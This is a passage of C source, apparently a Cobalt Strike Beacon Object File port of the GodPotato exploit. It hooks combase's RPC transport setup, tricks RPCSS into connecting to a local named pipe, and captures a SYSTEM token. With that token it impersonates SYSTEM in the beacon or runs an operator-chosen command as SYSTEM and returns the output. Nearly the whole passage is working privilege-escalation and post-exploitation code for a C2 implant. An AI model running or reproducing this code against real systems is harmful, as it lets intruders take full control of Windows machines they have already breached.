UINT n = api.pGetSystemDirectoryW ? api.pGetSystemDirectoryW(sysdir, MAX_PATH) : 0;
if (n > 0 && n < MAX_PATH - 12) {
UINT j;
for (j = 0; j < n; j++) cmdline[j] = sysdir[j];
i = j;
if (cmdline[i - 1] != L'\\') cmdline[i++] = L'\\';
cmdline[i++]=L'c'; cmdline[i++]=L'm'; cmdline[i++]=L'd';
cmdline[i++]=L'.'; cmdline[i++]=L'e'; cmdline[i++]=L'x';
cmdline[i++]=L'e'; cmdline[i++]=L' ';
}
/* If user command already starts with "cmd " strip it to avoid "cmd.exe /c cmd /c ..."
being passed (still works either way, but this is cleaner). */
{
const char* p = cmd_ansi;
int l = cmd_ansi_len;
if (l >= 4 &&
(p[0]=='c'||p[0]=='C') && (p[1]=='m'||p[1]=='M') &&
(p[2]=='d'||p[2]=='D') && p[3]==' ') {
/* "cmd " -> skip and use the rest ("/c ...") */
p += 4; l -= 4;
} else {
/* bare command: prepend "/c " */
cmdline[i++]=L'/'; cmdline[i++]=L'c'; cmdline[i++]=L' ';
}
if (api.pMultiByteToWideChar) {
int wlen = api.pMultiByteToWideChar(CP_UTF8, 0, p, l, cmdline + i, (int)(2046 - i));
if (wlen <= 0)
wlen = api.pMultiByteToWideChar(CP_ACP, 0, p, l, cmdline + i, (int)(2046 - i));
if (wlen > 0) i += (UINT)wlen;
}
}
cmdline[i] = L'\0';
}
si.cb = sizeof(si);
if (capture_output) {
if (!api.pCreatePipe(&hRead, &hWrite, &sa, 8196)) {
BeaconPrintf(CALLBACK_ERROR, "[!] CreatePipe failed\n");
return;
}
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.hStdInput = NULL;
si.dwFlags = GOD_STARTF_USESTDHANDLES;
/* Only the write end needs to be inheritable; keep read end non-inheritable. */
api.pSetHandleInformation(hWrite, GOD_HANDLE_FLAG_INHERIT, GOD_HANDLE_FLAG_INHERIT);
api.pSetHandleInformation(hRead, GOD_HANDLE_FLAG_INHERIT, 0);
}
{
DWORD ret_len = 0;
api.pGetTokenInformation(token, 6 /* TokenType */, NULL, 0, &ret_len);
if (ret_len) {
DWORD type_buf = 0;
api.pGetTokenInformation(token, 6 /* TokenType */, &type_buf, sizeof(type_buf), &ret_len);
if (type_buf != GOD_TokenPrimary) {
if (api.pDuplicateTokenEx(token, GOD_TOKEN_ELEVATION, NULL, GOD_TokenImpersonationLevel, GOD_TokenPrimary, &primary))
token = primary;
}
}
}
{
BOOL created = FALSE;
/* Impersonate so calling thread has SE_ASSIGNPRIMARYTOKEN_NAME / SE_INCREASE_QUOTA_NAME.
Only inherit handles for the short default whoami path where we capture stdout. */
BOOL impersonated = api.pImpersonateLoggedOnUser && api.pImpersonateLoggedOnUser(token);
if (api.pCreateProcessAsUserW(token, NULL, cmdline, NULL, NULL, capture_output, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
created = TRUE;
else
LOGI( "[*] CreateProcessAsUserW err=%lu\n", (unsigned long)api.pGetLastError());
if (impersonated) api.pRevertToSelf();
if (!created) {
/* Fallback: CreateProcessWithTokenW (no pipe inherit via seclogon, but runs the cmd). */
if (api.pCreateProcessWithTokenW(token, 0, NULL, cmdline, GOD_CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
created = TRUE;
else
LOGI( "[*] CreateProcessWithTokenW err=%lu\n", (unsigned long)api.pGetLastError());
}
if (created) {
LOGK( "[*] process start with pid %u\n", (unsigned)pi.dwProcessId);
if (capture_output) {
api.pCloseHandle(hWrite);
hWrite = NULL;
api.pWaitForSingleObject(pi.hProcess, 30000);
for (;;) {
DWORD avail = 0, nr = 0, left = 0;
char buf[4096];
if (!api.pPeekNamedPipe(hRead, buf, sizeof(buf), &nr, &avail, &left)) break;
if (avail == 0) break;
if (api.pReadFile(hRead, buf, sizeof(buf), &nr, NULL) && nr > 0)
BeaconOutput(CALLBACK_OUTPUT, buf, (int)nr);
}
}
} else
BeaconPrintf(CALLBACK_ERROR, "[!] Cannot create process\n");
}
if (primary) api.pCloseHandle(primary);
if (pi.hProcess) api.pCloseHandle(pi.hProcess);
if (pi.hThread) api.pCloseHandle(pi.hThread);
if (hRead) api.pCloseHandle(hRead);
if (hWrite) api.pCloseHandle(hWrite);
}
static int resolve_apis(void)
{
HMODULE (WINAPI *pLoadLibraryA)(LPCSTR) = (HMODULE (WINAPI *)(LPCSTR))LoadLibraryA;
FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR) = (FARPROC (WINAPI *)(HMODULE, LPCSTR))GetProcAddress;
api.hKernel32 = pLoadLibraryA("kernel32.dll");
if (!api.hKernel32) return -1;
api.pGetCurrentProcess = (fn_GetCurrentProcess)pGetProcAddress(api.hKernel32, "GetCurrentProcess");
api.pGetCurrentThread = (fn_GetCurrentThread)pGetProcAddress(api.hKernel32, "GetCurrentThread");
api.pCreateProcessW = (fn_CreateProcessW)pGetProcAddress(api.hKernel32, "CreateProcessW");
api.pCreateThread = (fn_CreateThread)pGetProcAddress(api.hKernel32, "CreateThread");
api.pCloseHandle = (fn_CloseHandle)pGetProcAddress(api.hKernel32, "CloseHandle");
api.pLocalFree = (fn_LocalFree)pGetProcAddress(api.hKernel32, "LocalFree");
api.pGetModuleHandleW = (fn_GetModuleHandleW)pGetProcAddress(api.hKernel32, "GetModuleHandleW");
api.pVirtualProtect = (fn_VirtualProtect)pGetProcAddress(api.hKernel32, "VirtualProtect");
api.pCreateNamedPipeW = (fn_CreateNamedPipeW)pGetProcAddress(api.hKernel32, "CreateNamedPipeW");
api.pConnectNamedPipe = (fn_ConnectNamedPipe)pGetProcAddress(api.hKernel32, "ConnectNamedPipe");
api.pCreateEventW = (fn_CreateEventW)pGetProcAddress(api.hKernel32, "CreateEventW");
api.pWaitForSingleObject = (fn_WaitForSingleObject)pGetProcAddress(api.hKernel32, "WaitForSingleObject");
api.pCreateFileW = (fn_CreateFileW)pGetProcAddress(api.hKernel32, "CreateFileW");
api.pCreatePipe = (fn_CreatePipe)pGetProcAddress(api.hKernel32, "CreatePipe");
api.pSetHandleInformation = (fn_SetHandleInformation)pGetProcAddress(api.hKernel32, "SetHandleInformation");
api.pPeekNamedPipe = (fn_PeekNamedPipe)pGetProcAddress(api.hKernel32, "PeekNamedPipe");
api.pReadFile = (fn_ReadFile)pGetProcAddress(api.hKernel32, "ReadFile");
api.pOpenProcess = (fn_OpenProcess)pGetProcAddress(api.hKernel32, "OpenProcess");
api.pDuplicateHandle = (fn_DuplicateHandle)pGetProcAddress(api.hKernel32, "DuplicateHandle");
api.pSleep = (fn_Sleep)pGetProcAddress(api.hKernel32, "Sleep");
api.pGetCurrentProcessId = (fn_GetCurrentProcessId)pGetProcAddress(api.hKernel32, "GetCurrentProcessId");
api.pGetLastError = (fn_GetLastError)pGetProcAddress(api.hKernel32, "GetLastError");
api.pGetSystemDirectoryW = (fn_GetSystemDirectoryW)pGetProcAddress(api.hKernel32, "GetSystemDirectoryW");
api.pMultiByteToWideChar = (fn_MultiByteToWideChar)pGetProcAddress(api.hKernel32, "MultiByteToWideChar");
if (!api.pGetCurrentProcess || !api.pGetCurrentThread || !api.pCreateThread || !api.pCloseHandle || !api.pLocalFree || !api.pGetModuleHandleW || !api.pVirtualProtect ||
!api.pCreateNamedPipeW || !api.pConnectNamedPipe || !api.pCreateEventW || !api.pWaitForSingleObject || !api.pCreateFileW || !api.pCreatePipe || !api.pPeekNamedPipe || !api.pReadFile)
return -1;
api.hNtdll = pLoadLibraryA("ntdll.dll");
if (!api.hNtdll) return -1;
api.pNtQuerySystemInformation = (fn_NtQuerySystemInformation)pGetProcAddress(api.hNtdll, "NtQuerySystemInformation");
api.pNtDuplicateObject = (fn_NtDuplicateObject)pGetProcAddress(api.hNtdll, "NtDuplicateObject");
if (!api.pNtQuerySystemInformation || !api.pNtDuplicateObject) return -1;
api.hAdvapi32 = pLoadLibraryA("advapi32.dll");
if (!api.hAdvapi32) return -1;
api.pConvertStringSecurityDescriptorToSecurityDescriptorW = (fn_ConvertStringSecurityDescriptorToSecurityDescriptorW)pGetProcAddress(api.hAdvapi32, "ConvertStringSecurityDescriptorToSecurityDescriptorW");
api.pImpersonateNamedPipeClient = (fn_ImpersonateNamedPipeClient)pGetProcAddress(api.hAdvapi32, "ImpersonateNamedPipeClient");
api.pRevertToSelf = (fn_RevertToSelf)pGetProcAddress(api.hAdvapi32, "RevertToSelf");
api.pOpenProcessToken = (fn_OpenProcessToken)pGetProcAddress(api.hAdvapi32, "OpenProcessToken");
api.pOpenThreadToken = (fn_OpenThreadToken)pGetProcAddress(api.hAdvapi32, "OpenThreadToken");
api.pGetTokenInformation = (fn_GetTokenInformation)pGetProcAddress(api.hAdvapi32, "GetTokenInformation");
api.pDuplicateTokenEx = (fn_DuplicateTokenEx)pGetProcAddress(api.hAdvapi32, "DuplicateTokenEx");
api.pCreateProcessWithTokenW = (fn_CreateProcessWithTokenW)pGetProcAddress(api.hAdvapi32, "CreateProcessWithTokenW");
api.pCreateProcessAsUserW = (fn_CreateProcessAsUserW)pGetProcAddress(api.hAdvapi32, "CreateProcessAsUserW");
api.pImpersonateLoggedOnUser = (fn_ImpersonateLoggedOnUser)pGetProcAddress(api.hAdvapi32, "ImpersonateLoggedOnUser");
api.pGetSidSubAuthority = (fn_GetSidSubAuthority)pGetProcAddress(api.hAdvapi32, "GetSidSubAuthority");
api.pGetSidSubAuthorityCount = (fn_GetSidSubAuthorityCount)pGetProcAddress(api.hAdvapi32, "GetSidSubAuthorityCount");
if (!api.pConvertStringSecurityDescriptorToSecurityDescriptorW || !api.pImpersonateNamedPipeClient || !api.pRevertToSelf ||
!api.pOpenProcessToken || !api.pOpenThreadToken || !api.pGetTokenInformation || !api.pDuplicateTokenEx || !api.pCreateProcessWithTokenW || !api.pCreateProcessAsUserW)
return -1;
api.hOle32 = pLoadLibraryA("ole32.dll");
if (!api.hOle32) return -1;
api.pCoInitializeEx = (fn_CoInitializeEx)pGetProcAddress(api.hOle32, "CoInitializeEx");
api.pCoUninitialize = (fn_CoUninitialize)pGetProcAddress(api.hOle32, "CoUninitialize");
api.pCoUnmarshalInterface = (fn_CoUnmarshalInterface)pGetProcAddress(api.hOle32, "CoUnmarshalInterface");
api.pCreateBindCtx = (fn_CreateBindCtx)pGetProcAddress(api.hOle32, "CreateBindCtx");
api.pCreateObjrefMoniker = (fn_CreateObjrefMoniker)pGetProcAddress(api.hOle32, "CreateObjrefMoniker");
api.pCoTaskMemAlloc = (fn_CoTaskMemAlloc)pGetProcAddress(api.hOle32, "CoTaskMemAlloc");
api.pCoTaskMemFree = (fn_CoTaskMemFree)pGetProcAddress(api.hOle32, "CoTaskMemFree");
api.pCoRegisterClassObject = (fn_CoRegisterClassObject)pGetProcAddress(api.hOle32, "CoRegisterClassObject");
api.pCoRevokeClassObject = (fn_CoRevokeClassObject)pGetProcAddress(api.hOle32, "CoRevokeClassObject");
api.pCoCreateInstance = (fn_CoCreateInstance)pGetProcAddress(api.hOle32, "CoCreateInstance");
api.pCoCreateInstanceEx = (fn_CoCreateInstanceEx)pGetProcAddress(api.hOle32, "CoCreateInstanceEx");
if (!api.pCoUnmarshalInterface || !api.pCreateBindCtx || !api.pCreateObjrefMoniker || !api.pCoTaskMemAlloc || !api.pCoTaskMemFree
|| !api.pCoRegisterClassObject || !api.pCoRevokeClassObject || !api.pCoCreateInstance || !api.pCoCreateInstanceEx)
return -1;
return 0;
}
void go(char* args, int length)
{
datap parser;
char* cmd_str = NULL;
int cmd_len = 0;
char* pipe_name = NULL;
int pipe_len = 0;
int use_beacon_token = 0;
int cmd_is_option_only = 0;
HANDLE hPipeThread = NULL;
HANDLE hTriggerThread = NULL;
/* Built char-by-char so the values are embedded as immediates in .text,
not copied from .rodata (which some BOF loaders zero out). */
char default_cmd[] = {'c','m','d',' ','/', 'c',' ','w','h','o','a','m','i','\0'};
LOGI( "Starting GodPotato BOF\n");
if (resolve_apis() != 0) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to resolve APIs\n");
return;
}
system_token = NULL;
pipe_connected = 0;
is_hook = 0;
is_start = 0;
g_malicious_len = 0;
/* Initialize vtables at runtime — static fn-ptr initializers require relocations
that BOF loaders may not apply to .data, causing crashes */
fake_vtbl.QueryInterface = fake_QueryInterface;
fake_vtbl.AddRef = fake_AddRef;
fake_vtbl.Release = fake_Release;
fake_unknown.lpVtbl = &fake_vtbl;
bufstream_vtbl.QueryInterface = bufstream_QueryInterface;
bufstream_vtbl.AddRef = bufstream_AddRef;
bufstream_vtbl.Release = bufstream_Release;
bufstream_vtbl.Read = bufstream_Read;
bufstream_vtbl.Write = bufstream_Write;
bufstream_vtbl.Seek = bufstream_Seek;
bufstream_vtbl.SetSize = bufstream_SetSize;
bufstream_vtbl.CopyTo = bufstream_CopyTo;
bufstream_vtbl.Commit = bufstream_Commit;
bufstream_vtbl.Revert = bufstream_Revert;
bufstream_vtbl.LockRegion = bufstream_LockRegion;
bufstream_vtbl.UnlockRegion = bufstream_UnlockRegion;
bufstream_vtbl.Stat = bufstream_Stat;
bufstream_vtbl.Clone = bufstream_Clone;
fake_cf_vtbl.QueryInterface = (HRESULT (WINAPI*)(IClassFactory*, REFIID, void**))fake_cf_QueryInterface;
fake_cf_vtbl.AddRef = (ULONG (WINAPI*)(IClassFactory*))fake_cf_AddRef;
fake_cf_vtbl.Release = (ULONG (WINAPI*)(IClassFactory*))fake_cf_Release;
fake_cf_vtbl.CreateInstance = fake_cf_CreateInstance;
fake_cf_vtbl.LockServer = fake_cf_LockServer;
fake_cf.lpVtbl = &fake_cf_vtbl;
BeaconDataParse(&parser, args, length);
cmd_str = BeaconDataExtract(&parser, &cmd_len);
pipe_name = BeaconDataExtract(&parser, &pipe_len);
if (!pipe_name || pipe_len <= 0) {
pipe_name = NULL;
pipe_len = 0;
}
/* Cobalt Strike teamserver (Java) sends the literal string "null" via bof_pack
when inline-execute is called with no arguments (null.toString() artifact).
Treat it the same as no argument. */
if (cmd_str && cmd_len > 0 &&
cmd_str[0]=='n' && cmd_str[1]=='u' && cmd_str[2]=='l' && cmd_str[3]=='l' &&
(cmd_len == 4 || (cmd_len == 5 && cmd_str[4] == '\0'))) {
cmd_str = NULL;
cmd_len = 0;
}
if ((!pipe_name || pipe_len <= 0) && cmd_str && cmd_len > 0) {
char* parsed_cmd = NULL;
int parsed_cmd_len = 0;
char* parsed_pipe = NULL;
int parsed_pipe_len = 0;
parse_command_and_pipe_text(cmd_str, cmd_len, &parsed_cmd, &parsed_cmd_len, &parsed_pipe, &parsed_pipe_len);
if (parsed_pipe && parsed_pipe_len > 0) {
pipe_name = parsed_pipe;
pipe_len = parsed_pipe_len;
cmd_str = parsed_cmd;
cmd_len = parsed_cmd_len;
}
}
if (cmd_str && cmd_len > 0 &&
(ascii_token_equals(cmd_str, cmd_len, "-pipe") ||
ascii_token_equals(cmd_str, cmd_len, "-cmd"))) {
cmd_is_option_only = 1;
}
if (args && length > 0 && ((!cmd_str || cmd_len <= 0) || cmd_is_option_only)) {
char* p = args;
int l = length;
int k;
char* raw_cmd = NULL;
int raw_cmd_len = 0;
/* strip leading whitespace */
while (l > 0 && (*p == ' ' || *p == '\t')) { p++; l--; }
if (l > 5 && p[0]=='-' && p[1]=='c' && p[2]=='m' && p[3]=='d' && p[4]==' ') {
p += 5; l -= 5;
while (l > 0 && (*p == ' ' || *p == '\t')) { p++; l--; }
}
/* strip trailing whitespace / nulls */
while (l > 0 && (p[l-1] == '\0' || p[l-1] == ' ' || p[l-1] == '\t' || p[l-1] == '\r' || p[l-1] == '\n')) l--;
/* Treat raw "null" the same as no argument for direct inline-execute. */
if (l == 4 &&
(p[0] == 'n' || p[0] == 'N') &&
(p[1] == 'u' || p[1] == 'U') &&
(p[2] == 'l' || p[2] == 'L') &&
(p[3] == 'l' || p[3] == 'L')) {
l = 0;
}
if (l > 0) { raw_cmd = p; raw_cmd_len = l; }
for (k = 0; k + 6 < l; k++) {
if (p[k] == '-' && p[k+1] == 'p' && p[k+2] == 'i' && p[k+3] == 'p' && p[k+4] == 'e' &&
(p[k+5] == ' ' || p[k+5] == '\t')) {
char* q = p + k + 6;
int m = l - (k + 6);
while (m > 0 && (*q == ' ' || *q == '\t')) { q++; m--; }
while (m > 0 && (q[m-1] == '\0' || q[m-1] == ' ' || q[m-1] == '\t' || q[m-1] == '\r' || q[m-1] == '\n')) m--;
if (m > 0) { pipe_name = q; pipe_len = m; }
break;
}
}
if (!cmd_str || cmd_len <= 0 || cmd_is_option_only) {
if (raw_cmd_len > 0) {
cmd_str = raw_cmd;
cmd_len = raw_cmd_len;
} else {
cmd_str = NULL;
cmd_len = 0;
}
}
}
if (!cmd_str || cmd_len <= 0) {
cmd_str = (char*)default_cmd;
cmd_len = (int)sizeof(default_cmd) - 1;
}
/* Normalize the command bounds regardless of whether it came from
BeaconDataExtract or raw inline-execute bytes. */
if (cmd_str && cmd_len > 0) {
while (cmd_len > 0 &&
(cmd_str[0] == ' ' || cmd_str[0] == '\t' || cmd_str[0] == '\r' || cmd_str[0] == '\n'))
{
cmd_str++;
cmd_len--;
}
while (cmd_len > 0 &&
(cmd_str[cmd_len - 1] == '\0' || cmd_str[cmd_len - 1] == ' ' ||
cmd_str[cmd_len - 1] == '\t' || cmd_str[cmd_len - 1] == '\r' ||
cmd_str[cmd_len - 1] == '\n'))
{
cmd_len--;
}
/* Peel repeated outer quote pairs added by inline-execute parsing. */
while (cmd_len >= 2 &&
((cmd_str[0] == '"' && cmd_str[cmd_len - 1] == '"') ||
(cmd_str[0] == '\'' && cmd_str[cmd_len - 1] == '\'')))
{
cmd_str++;
cmd_len -= 2;
while (cmd_len > 0 &&
(cmd_str[0] == ' ' || cmd_str[0] == '\t' || cmd_str[0] == '\r' || cmd_str[0] == '\n'))
{
cmd_str++;
cmd_len--;
}
while (cmd_len > 0 &&
(cmd_str[cmd_len - 1] == '\0' || cmd_str[cmd_len - 1] == ' ' ||
cmd_str[cmd_len - 1] == '\t' || cmd_str[cmd_len - 1] == '\r' ||
cmd_str[cmd_len - 1] == '\n'))
{
cmd_len--;
}
}
}
/* Essential sanity-check: ensure command buffer is present and non-empty. */
if (!cmd_str || cmd_len <= 0) {
cmd_str = (char*)default_cmd;
cmd_len = (int)sizeof(default_cmd) - 1;
}
/* Debug-only sanity check (disabled):
* if ((unsigned char)cmd_str[0] < 0x20 || (unsigned char)cmd_str[0] > 0x7e) {
* cmd_str = (char*)default_cmd;
* cmd_len = (int)sizeof(default_cmd) - 1;
* }
*/
if (cmd_str && cmd_len > 0 && is_help_token(cmd_str, cmd_len)) {
print_usage();
return;
}
if (pipe_name && pipe_len > 0) {
while (pipe_len > 0 &&
(pipe_name[0] == ' ' || pipe_name[0] == '\t' || pipe_name[0] == '\r' || pipe_name[0] == '\n')) {
pipe_name++;
pipe_len--;
}
while (pipe_len > 0 &&
(pipe_name[pipe_len - 1] == '\0' || pipe_name[pipe_len - 1] == ' ' ||
pipe_name[pipe_len - 1] == '\t' || pipe_name[pipe_len - 1] == '\r' ||
pipe_name[pipe_len - 1] == '\n')) {
pipe_len--;
}
while (pipe_len >= 2 &&
((pipe_name[0] == '"' && pipe_name[pipe_len - 1] == '"') ||
(pipe_name[0] == '\'' && pipe_name[pipe_len - 1] == '\''))) {
pipe_name++;
pipe_len -= 2;
}
if (pipe_len == 4 &&
(pipe_name[0] == 'n' || pipe_name[0] == 'N') &&
(pipe_name[1] == 'u' || pipe_name[1] == 'U') &&
(pipe_name[2] == 'l' || pipe_name[2] == 'L') &&
(pipe_name[3] == 'l' || pipe_name[3] == 'L')) {
pipe_name = NULL;
pipe_len = 0;
}
}
if (cmd_str && cmd_len > 0 && ascii_token_equals(cmd_str, cmd_len, "-pipe")) {
cmd_str = (char*)default_cmd;
cmd_len = (int)sizeof(default_cmd) - 1;
}
if (cmd_len == 5 &&
(cmd_str[0] == 't' || cmd_str[0] == 'T') &&
(cmd_str[1] == 'o' || cmd_str[1] == 'O') &&
(cmd_str[2] == 'k' || cmd_str[2] == 'K') &&
(cmd_str[3] == 'e' || cmd_str[3] == 'E') &&
(cmd_str[4] == 'n' || cmd_str[4] == 'N')) {
use_beacon_token = 1;
}
/* Wide conversion is deferred to create_process_read_out so the full path
to cmd.exe can be prepended there, avoiding PATH-lookup failures. */
/* init_context only needs combase.dll loaded (already loaded in any process),
not CoInitializeEx — so we can find and hook before any CoInitializeEx. */
if (init_context() != 0) {
BeaconPrintf(CALLBACK_ERROR, "[!] No combase module or IDL structure not found\n");
goto cleanup;
}
build_pipe_strings(pipe_name, pipe_len, args);
init_trigger_clsid(args);
LOGI( "[*] CombaseModule: %p\n", combase_base);
LOGI( "[*] DispatchTable: %p\n", dispatch_table_ptr);
LOGI( "[*] UseProtseqFunction: %p\n", use_protseq_ptr);
LOGI( "[*] UseProtseqFunctionParamCount: %u\n", (unsigned)use_protseq_param_count);
/* Install hook BEFORE CoInitializeEx so we catch the UseProtseq call that
RPCSS makes when setting up the new apartment's transport. */
LOGK( "[*] HookRPC\n");
hook_rpc();
LOGK( "[*] Start PipeServer\n");
is_start = 1;
hPipeThread = api.pCreateThread(NULL, 0, pipe_server_thread, NULL, 0, NULL);
if (!hPipeThread) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to create pipe server thread\n");
goto cleanup;
}
/* Give pipe server thread time to create the named pipe. */
api.pSleep(200);
/* Trigger: spin up a new STA thread that calls CoInitializeEx.
RPCSS will call UseProtseq to configure that apartment's transport,
our hook intercepts and redirects RPCSS to our named pipe. */
LOGK( "[*] Trigger RPCSS via new STA thread\n");
hTriggerThread = api.pCreateThread(NULL, 0, fire_trigger_thread, NULL, 0, NULL);
if (!hTriggerThread) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to create trigger thread\n");
goto cleanup;
}
{
/* Hard timeout: 300 x 100 ms = 30 seconds. */
int wait_iterations = 0;
while (!pipe_connected && wait_iterations < 300) {
if ((wait_iterations % 20) == 0) {
LOGI(
"[*] waiting for pipe connection: state=%d token=%p iter=%d\n",
pipe_connected, system_token, wait_iterations);
}
api.pSleep(100);
wait_iterations++;
}
if (!pipe_connected) {
BeaconPrintf(CALLBACK_ERROR, "[!] Timed out waiting for pipe connection\n");
pipe_connected = -1;
}
}
LOGK( "[*] pipe_connected=%d\n", pipe_connected);
if (pipe_connected != 1) {
goto cleanup;
}
{
int wait_loops = 0;
while (!system_token && wait_loops < 200) {
api.pSleep(50);
wait_loops++;
}
}
api.pSleep(200);
if (system_token) {
LOGK( "[*] Got SYSTEM token\n");
if (use_beacon_token) {
if (BeaconUseToken(system_token)) {
LOGI( "[*] Beacon is now impersonating NT AUTHORITY\\SYSTEM\n");
/* Keep the token handle alive after BeaconUseToken so Beacon can continue
using the impersonation context for subsequent commands. */
system_token = NULL;
} else {
BeaconPrintf(CALLBACK_ERROR, "[!] BeaconUseToken failed\n");
api.pCloseHandle(system_token);
system_token = NULL;
}
} else {
LOGK( "[*] Running: \"%s\"\n", cmd_str);
create_process_read_out(system_token, cmd_str, cmd_len);
api.pCloseHandle(system_token);
system_token = NULL;
}
} else
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to get SYSTEM token\n");
cleanup:
/* stop_pipe() unblocks the pipe server thread so it exits promptly. */
stop_pipe();
/* Join threads BEFORE restoring the hook — the trigger thread may still
be dispatching through the hooked function pointer. Removing the hook
while a thread is inside it is a race condition. */
if (hTriggerThread) {
api.pWaitForSingleObject(hTriggerThread, 10000);
api.pCloseHandle(hTriggerThread);
}
if (hPipeThread) {
api.pWaitForSingleObject(hPipeThread, 10000);
api.pCloseHandle(hPipeThread);
}
/* Restore the hook only after all threads have stopped. */
restore_rpc();
/* Safety net: close system_token if a thread set it after we stopped waiting
(e.g. early goto cleanup before the token-use block). */
if (system_token) {
api.pCloseHandle((HANDLE)system_token);
system_token = NULL;
}
}